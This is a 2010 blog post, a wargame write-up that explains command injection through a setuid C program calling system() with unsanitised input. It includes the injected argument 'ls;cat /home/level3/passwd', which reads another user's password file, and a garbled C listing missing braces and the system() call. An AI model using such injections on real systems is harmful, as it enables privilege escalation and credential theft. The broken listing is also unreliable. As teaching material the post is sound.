lundi 9 août 2010

lvl2 wargame NDH2010 - system function exploitation (english version)

level2 wargame NDH2010 - system() function exploitation tutorial

This article describes the exploitation of a bad implementation of the system() function in a C program, through the resolution of the french "Nuit du Hack 2010" wargame level2 test.


$ ssh -2

level2@srv-public:~$ ./level2 "ls;cat /home/level3/passwd"
mot de passe


list the current directory. ./level2 will be executed with level3 UID. We need to use it to print ./level3/passwd.

level2@srv-public:~$ ls -all
total 36
dr-xr-x---  2 level2 level2 4096  1 janv.  2008 .
drwxr-x--x 24 root   root   4096 18 juin  18:19 ..
lrwxrwxrwx  1 root   root      9 28 mai   16:08 .bash_history -> /dev/null
-rw-r--r--  1 root   root    220 26 mai   13:33 .bash_logout
-rw-r--r--  1 root   root   3116 26 mai   13:33 .bashrc
-r-sr-x---  1 level3 level2 5194 18 juin  14:59 level2
-rw-------  1 level2 level2  336 18 juin  14:59 level2.c
-r--r-----  1 level2 level2    7  1 janv.  2008 passwd
-rw-r--r--  1 root   root    675 26 mai   13:33 .profile

Here is level2.c
level2@srv-public:~$ cat level2.c

#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>

int main(int argc, char *argv[])
        char *buffer = malloc(sizeof(char)*(strlen("man ")+strlen(argv[1])+1));

        if(argc<2 || strlen(argv[1])>50) {
            printf("Manpage \n");

        strcpy(buffer, "man ");
        strcat(buffer, argv[1]);

        return 0;

Here is the description of system():


int system(const char *command);


The functionality described on this reference page is aligned with the ISO C standard. Any conflict between the requirements described here and the ISO C standard is unintentional. This volume of IEEE Std 1003.1-2001 defers to the ISO C standard.

If command is a null pointer, the system() function shall determine whether the host environment has a command processor. If command is not a null pointer, the system() function shall pass the string pointed to by command to that command processor to be executed in an implementation-defined manner; this might then cause the program calling system() to behave in a non-conforming manner or to terminate.

The environment of the executed command shall be as if a child process were created using fork(), and the child process invoked the sh utility using execl() as follows:

execl(, "sh", "-c", command, (char *)0);

where is an unspecified pathname for the sh utility.

The system() function shall ignore the SIGINT and SIGQUIT signals, and shall block the SIGCHLD signal, while waiting for the command to terminate. If this might cause the application to miss a signal that would have killed it, then the application should examine the return value from system() and take whatever action is appropriate to the application if the command terminated due to receipt of a signal.

The system() function shall not affect the termination status of any child of the calling processes other than the process or processes it itself creates.

The system() function shall not return until the child process has terminated.

Indeed, the function system() executes the command "sh". "sh" can launch a shell script. So, we can use more than one command. For example: man ls; cat /home/level3/passwd" (with ; as separator).


Linux access rules -
function system() -

Aucun commentaire:

Enregistrer un commentaire